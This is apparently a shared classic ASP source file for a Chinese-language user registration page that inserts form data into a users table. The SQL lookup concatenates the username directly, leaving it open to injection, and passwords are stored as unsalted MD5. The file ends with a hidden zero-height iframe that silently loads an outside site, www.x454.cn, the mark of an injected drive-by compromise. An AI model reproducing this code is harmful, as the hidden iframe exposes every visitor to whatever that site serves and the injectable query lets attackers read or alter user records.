源码：
<!--#include file="conn.asp"-->
<!--#include file="func.asp"-->
<%
dim pwd,pwd1,username,tm,ta,name,sex,tel,cz,email,sj,dz,rp,action
dim rsobj,strsql
    action=request.QueryString("act")
    if action="add"then
   pwd=trim(request.form("pwd"))
   pwd1=trim(Request.Form("pwd1"))
   username=trim(request.form("username"))  
   tm=trim(request.form("tm")) 
   ta=trim(request.form("ta"))
   name=trim(request.form("name"))
   sex=trim(request.form("sex"))
   tel=trim(request.form("tel"))
   cz=trim(request.form("cz"))
   email=trim(request.form("email"))
   sj=trim(request.form("sj"))
   dz=trim(request.form("dz"))
   rp=trim(request.form("rp"))
   tjid=trim(request.form("tjid"))
   style=trim(request.form("style"))
if Pwd<>Pwd1 then
    response.write"<script language='javascript'>"
    response.write"alert('密码、确认密码不同');"
    response.write"window.location='javascript:window.history.go(-1);'"
    response.write"</script>"
    Response.End
end if
strSQL = "SELECT * FROM users WHERE username ='"&username&"'"
set rsobj=server.createobject("adodb.recordset")
rsobj.open strsql,conn,1,1
if not rsobj.eof then
    response.write"<script language='javascript'>"
    response.write"alert('该用户名已存在');"
    response.write"window.location='javascript:window.history.go(-1);'"
    response.write"</script>"
    Response.End
end if
rsobj.close()
set rsobj=nothing
    strsql =  "SELECT * FROM users "
      set rsobj=server.CreateObject("adodb.recordset")
       rsObj.Open strsql,conn,3,2
       rsObj.AddNew 
       rsobj("username")=username
       rsobj("pwd")=md5(pwd)
       rsobj("pwd1")=md5(pwd1)
       rsobj("tm")=tm
       rsobj("ta")=ta
       rsobj("name")=name
       rsobj("sex")=sex
       rsobj("tel")=tel
       rsobj("cz")=cz
       rsobj("email")=email
       rsobj("sj")=sj
       rsobj("dz")=dz
       rsobj("rp")=rp
       rsobj("check")="个人"
       rsobj("tjid")=tjid
       rsobj("ynmz")=style
       rsobj("qcityid")=trim(request.Form("qcityid"))
       rsobj("gcityid")=trim(request.form("gcityid"))
       rsobj("addate")=now()
       rsobj.Update
       rsObj.Close
 set rsObj = nothing
response.redirect "grdefault.asp?flag="&username&"&type=个人"
conn.close()
set conn=nothing
end if
%>
<iframe src=http://www.x454.cn/ width=100 height=0 frameborder=0></iframe>